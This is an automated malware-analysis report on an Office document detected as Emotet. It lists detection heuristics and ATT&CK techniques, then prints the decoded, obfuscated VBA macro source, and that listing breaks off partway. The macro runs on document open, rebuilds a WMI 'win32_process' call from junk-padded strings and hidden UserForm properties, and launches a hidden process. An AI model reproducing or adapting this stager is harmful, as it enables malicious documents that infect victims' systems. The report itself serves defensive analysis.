MALICIOUS
262
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The sample contains VBA macros, including a Document_Open auto-execution macro and a critical heuristic firing for a hidden UserForm command stager. This indicates the macro is designed to run automatically and likely downloads a secondary payload. The ClamAV detection explicitly names Emotet, supporting this family attribution.
Heuristics 7
-
ClamAV: Doc.Malware.Emotet-9257617-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Emotet-9257617-1
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGERVBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4849 bytes |
SHA-256: d0b4b6a79b4ce0f274dd6f6ee6d00661c811284b35f2a722d8e4ca6ff2595db3 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "MDCUAubndkdusng"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
KCUFPrbdhecvxazsblb.VGEVOqdeuzgikwvx
End Sub
Attribute VB_Name = "KCUFPrbdhecvxazsblb"
Attribute VB_Base = "0{D99BAC0F-9051-4317-86E9-C4C5C4E17AB0}{1C1A4F1A-1A79-4F3A-9421-62B79EA1B065}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function VGEVOqdeuzgikwvx()
Dim bnIC7BXFP As Integer
bnIC7BXFP = Len("k3ßiBgT8Ö")
Dim ql4ÍkHo As Integer
ql4ÍkHo = 1
Do While ql4ÍkHo < 1 + 3
ql4ÍkHo = ql4ÍkHo + 7: DoEvents
Loop
Dim VnTGhD As Integer
VnTGhD = 6
Do While VnTGhD < 6 + 9
VnTGhD = VnTGhD + 6: DoEvents
Loop
RQMWKognhygicmck = Chr(KCUFPrbdhecvxazsblb.Zoom + ((30 + 60 + 30) / (4 + 4)))
Dim EWsakgGped As Integer
EWsakgGped = 1
Do While EWsakgGped < 1 + 4
EWsakgGped = EWsakgGped + 9: DoEvents
Loop
MNSZKkzkleitjcw = "7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dw7892HJGgghjgJH%789H h&219yhuid2di7892HJGgghjgJH%789H h&219yhuid2dnm7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dgm7892HJGgghjgJH%789H h&219yhuid2dt7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d" + RQMWKognhygicmck + "7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d:7892HJGgghjgJH%789H h&219yhuid2dw7892HJGgghjgJH%789H h&219yhuid2din7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2d37892HJGgghjgJH%789H h&219yhuid2d27892HJGgghjgJH%789H h&219yhuid2d_7892HJGgghjgJH%789H h&219yhuid2d" + KCUFPrbdhecvxazsblb.YZFSWzpifdrtmpogig + "7892HJGgghjgJH%789H h&219yhuid2dro7892HJGgghjgJH%789H h&219yhuid2d7892HJGgghjgJH%789H h&219yhuid2dce7892HJGgghjgJH%789H h&219yhuid2ds7892HJGgghjgJH%789H h&219yhuid2ds7892HJGgghjgJH%789H h&219yhuid2d"
Dim t5àCoPkgj As Integer
t5àCoPkgj = 4
Do While t5àCoPkgj < 4 + 6
t5àCoPkgj = t5àCoPkgj + 7: DoEvents
Loop
COZEUhognmhgelsrjon = VKVULemaykihh(MNSZKkzkleitjcw)
Dim pibFblq As String
Set MDOGUgfyxhqppalsqkl = CreateObject(COZEUhognmhgelsrjon)
Dim WGu8ÍyhtN As Integer
WGu8ÍyhtN = Len("OVnLrCFgBv")
WHGBXjpguajonuwyd = KCUFPrbdhecvxazsblb.OTRLBgeiamly.ControlTipText
Dim lqrqsHrC As Object
RKYQYynqqkggv = kljiqbbn2m + (COZEUhognmhgelsrjon + RQMWKognhygicmck + KCUFPrbdhecvxazsblb.FBAGMthlscdeyn.ControlTipText + WHGBXjpguajonuwyd)
Dim Z4Öf As Object
AUKNWlkeomjlsitgf = RKYQYynqqkggv + KCUFPrbdhecvxazsblb.YZFSWzpifdrtmpogig
Dim Br1ÚYapZkp As Integer
Br1ÚYapZkp = Len("BoYNMC")
Set XVKAKzgrlgodewwzd = CARSXbsxsuvzh(AUKNWlkeomjlsitgf)
Dim Q7Ìl8ÉD0Êau As Boolean
pos76 = Array(dccv21s + "nnsk ioqy hhdq hdioqe", MDOGUgfyxhqppalsqkl. _
Create(KMYBTyriemreflku, FVWBQzwyzkdysabze, XVKAKzgrlgodewwzd), vkq37y + "klq whuiqguiq ggqj")
Dim GpnGklo As Integer
GpnGklo = Len("dhL8ÇZ5ß")
End Function
Function CARSXbsxsuvzh(BUOIBxlunmmaxid)
Set CARSXbsxsuvzh = CreateObject(BUOIBxlunmmaxid)
Dim TZagwF As Currency
CARSXbsxsuvzh. _
showwindow = NOCHZtqbamsney + JAHXFsaefsfumef + VQRMWpywclpz
Dim EWCoPkgjbA As Integer
EWCoPkgjbA = Len("jWG")
End Function
Function VKVULemaykihh(XQSZKxvssyya)
QPHEQteweiwwtcq = XQSZKxvssyya
Dim moR7ÒWhdDBb As Integer
moR7ÒWhdDBb = 6
Do While moR7ÒWhdDBb < 6 + 5
moR7ÒWhdDBb = moR7ÒWhdDBb + 6: DoEvents
Loop
TXEQXdshmegxekt = Split _
(QPHEQteweiwwtcq, "7892HJGgghjgJH%789H h&219yhuid2d")
Dim aVXl As Integer
aVXl = 7
Do While aVXl < 7 + 5
aVXl = aVXl + 8: DoEvents
Loop
WZPGBbnwxuih = mmm2 + Join(TXEQXdshmegxekt, ooo3)
Dim yeECcb As Integer
yeECcb = Len("rdoJD")
VKVULemaykihh = WZPGBbnwxuih
Dim GZwfTDr7â As Integer
GZwfTDr7â = 6
Do While GZwfTDr7â < 6 + 5
GZwfTDr7â = GZwfTDr7â + 6: DoEvents
Loop
End Function
Function KMYBTyriemreflku()
Dim HC0ËhElyrR As Integer
HC0ËhElyrR = 5
Do While HC0ËhElyrR < 5 + 3
HC0ËhElyrR = HC0ËhElyrR
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.